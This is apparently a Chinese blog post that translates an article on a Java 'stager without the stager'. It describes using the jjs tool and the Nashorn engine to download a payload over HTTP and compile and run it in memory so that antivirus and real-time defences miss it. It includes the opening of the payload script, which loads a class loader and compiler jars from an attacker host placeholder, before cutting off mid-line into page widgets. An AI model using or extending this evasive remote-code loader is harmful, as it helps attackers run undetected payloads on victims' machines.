java调用服务器报警_Java传输器之无招胜有招

前段时间在网上读了一篇有关java传输器的博客Java Stager without the Stager。该文讲述了利用java的jjs组件和Nashorn引擎下载并执行payload,由于该利用程序不含恶意代码因此免疫大部分杀软的查杀,又由于payload在内存中编译执行,许多实时防御系统也无法检测到。现将该文翻译如下:

最近我一直在研究java,实际上,这是本月出的第三篇博客。

博客一这篇文章里我展示了一个java传输器,用它可以下载payload,在内存中编译它并执行。

博客二 这篇文章里我介绍了利用jjs(jre环境组件,自java8引入)在安装了java的设备上做一些坏事。它通过调用Nashorn引擎以javascript语法访问java对象。

在本文中,我将综合以上两种方法通过Nashorn在“无”java传输器的情况下传送payload。

缺陷分析

我们重新分析一下传输器的目标及特性:传输器是上传到目标主机的一个执行文件或脚本。

传输器必须是正常代码以躲避杀软的粗暴分析。

传输器接着通过HTTP将实际payload下载到内存,这也是躲避杀软策略的方法。

这种“躲入内存”的方法来源于James Williams发布在油管的视频《英特网太热》(~……~)。这段视频被一家杀毒厂商以版权问题强制临时下架,这使视频一下火了。目前已有3万2千的播放量,比第二名多了3万。而第二名是一段今年BSides Manchester会议的视频。

Nashorn Payload// 将这里改为攻击者主机地址

var host = "http:///";

// 通过HTTP加载NnClassLoader

load(host + "NnClassLoader.js");

// 使用NnClassLoader下载Janino和Apache的jar包

// Obtain these Jar files and stick them in your web root

var L = new NnClassLoader({ urls: [host + 'janino-3.0.8.jar', host + 'commons-compiler-3.0.8.jar']});

var P = L.type('org.codehaus.janino.SimpleCompiler');

var SimpleCompiler = L.type("org.codehaus.janino.SimpleCompiler");

// 引入我们要用的对象

var BufferedReader = Java.type("java.io.BufferedReader");

var Input

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值